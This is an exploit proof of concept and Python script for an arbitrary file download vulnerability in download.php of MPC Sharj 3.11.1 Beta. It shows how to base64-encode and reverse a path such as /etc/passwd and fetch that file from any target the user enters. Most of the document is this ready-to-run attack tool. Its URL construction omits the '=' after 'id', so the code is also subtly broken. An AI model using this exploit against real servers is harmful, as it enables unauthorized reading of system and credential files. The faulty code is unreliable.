# Exploit title : MPC Sharj 3.11.1 - Arbitrary File Download
# Exploit Author : SajjadBnd
# Date : 2020-05-02
# Software Link : http://dl.nuller.ir/mpc-sharj-vr_3.11.1_beta[www.nuller.ir].zip
# Tested on : Ubuntu 19.10
# Version : 3.11.1 Beta
############################
#
# [ DESCRIPTION ]
#
# MPC Sharj is a free open source script for creating sim card credit card's shop.
#
# [POC]
#
# Vulnerable file: download.php
# parameter : GET/ "id"
# 69: readfile readfile($file);
# 55: $file = urldecode(base64_decode(strrev($file)));
# 53: $file = trim(strip_tags($_GET['id']));
#
# payload : [
# Steps:
#
# 1. convert your payload (/etc/passwd) to base64 (L2V0Yy9wYXNzd2Q=)
# 2. convert base64 result (L2V0Yy9wYXNzd2Q=) to strrev (=Q2dzNXYw9yY0V2L)
# 3. your payload is ready ;D
# http://localhost/download.php?id==Q2dzNXYw9yY0V2L
#
#]
#
import requests
import os
from base64 import b64encode
def clear():
linux = 'clear'
windows = 'cls'
os.system([linux, windows][os.name == 'nt'])
def banner():
print '''
##############################################################
##############################################################
#### # ######### # #### ######### #####
#### ### ###### ## #### ###### #### ############# #####
#### #### #### ### #### ###### #### ###################
#### ##### ## #### #### ####### ###################
#### ###### ##### #### ############ ###################
#### ############### #### ############ ############# #####
#### ############### #### ##666######### ######
##############################################################
##############################################################
###### MPC Sharj 3.11.1 Beta - Arbitrary File Download #####
##############################################################
'''
def exploit():
target = raw_input('[+] Target(http://example.com) => ')
read_file = raw_input('[+] File to Read => ')
read_file = b64encode(read_file)
target = target+"/download.php?id"+read_file[::-1]
r = requests.get(target,timeout=500)
print "\n"+r.text
if __name__ == '__main__':
clear()
banner()
exploit()Data
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